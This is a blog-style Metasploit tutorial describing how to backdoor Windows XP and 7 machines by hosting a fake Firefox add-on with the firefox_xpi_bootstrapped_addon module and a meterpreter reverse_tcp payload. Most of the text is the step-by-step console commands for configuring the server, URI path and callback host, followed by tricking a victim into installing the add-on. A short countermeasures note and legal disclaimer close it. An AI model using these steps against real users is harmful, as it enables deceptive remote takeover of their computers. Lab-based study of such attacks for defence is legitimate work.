Hacking Windows 7 & Xp with Fake Firefox add-on (XPI) : Metasploit Tutorials

Ethical Hacking
Hello BTS readers, i believe you enjoyed my last tutorial ( Java AtomicReferenceArray type violation vulnerability and exploiting ). So here is second tutorial for you ! In this tutorial i am going to explain how to hack any windows machine(xp,7) with the help of Metasploit.

Unlike last tutorial, we are not going to exploit any kind of vulnerabilities. We are going to use Social Engineering technique instead.

What exactly i am going to do?!

  1. Create a fake firefox extension with Metasploit that creates a backdoor from the victim system.
  2. Trick users into installing the add-on
  3. Break into the Target Machine.

Pre-configuration:

  • As usual, you have to set up two virutal machines(VM ) in your virtualbox namely “Target” and “Attacker”.
  • Install the windows xp or 7 in the Target VM.
  • Install the Backtrack in the Attacker VM.

need help in configuring the VM?! you can read this tutorial “Set up pentesting lab“.

Part I: Update the Metasploit 
As we are going to use the latest module, you are advised to update the Metasploit modules.  Don’t know how to do this? No need to worry!

  • Open the Terminal 
  • type msfupdate
  • This will update the Metasploit with latest modules 🙂

Part II: Configuring settings in Metasploit for the fake-addon exploit
Step 1:

Open the Terminal and type “msfconsole” to get the Metasploit console.

Step 2:
Type “use exploit/multi/browser/firefox_xpi_bootstrapped_addon” in the console.
Step 3:
Now we have to know the list of settings available for this exploit module.  In order to get the list , you can type “show options” in the console.
Unlike the last tutorial, this module has an extra settings for the module namely “addonname”.
Step 4: Configurations

Let us configure the setting for the exploit.

type the highlighted commands one by one in the console
Command: set addonname fake
Details: Name for the fake add-on.  you can change the “fake” to any name.
Command:set SRVHOST 192.168.56.11 
Details: Here the 192.168.56.11 is the ip of Backtrack .  You can get this ip by simply typing the “ifconfig” in the terminal. If you have trouble in getting the ip details, please drop your comment or read my previous post. 
Command: set SRVPORT 80
Details: Our server is going to be accessed via the port 80(default port)
Command: set URIPATH fakeEx
Details: The path in which the fake add-on will be available to download. For ex: http://192.168.56.11/fakeEx
Command: set LHOST 192.168.56.11 
Details: Here the 192.168.56.11 is the ip of Backtrack .  You can get this ip by simply typing the “ifconfig” in the terminal.

Step 5: Payload

As usual, we can use Reverse Tcp payload for this attack also. So type the following command in the Metasploit console:

set payload windows/meterpreter/reverse_tcp
Part III: Social Engineering Attack
Successfully configured the settings for the exploit, what else?! let us launch the exploit.
Type “exploit” in the console.
Now the exploit is started.  Our fake add-on is available at, “http://192.168.56.11/fakeEx”.

Once victim visit the link, it will ask user to install the add-on in order to view the page.  Once user install the add-on, the system will be backdoor-ed.

Now , You can control the victim system from meterpreter.

Countermeasures:
I believe you understand the risks of installing the add-on from unknown sources.  So, think twice before installing add-on .  Always use trusted add-on.  Search in the google for review about the add-on.

Disclaimer:
The article given here is educational purpose only.  We suggest you to try this method in a controlled virtualbox environment.  We are not responsible for your illegal activity.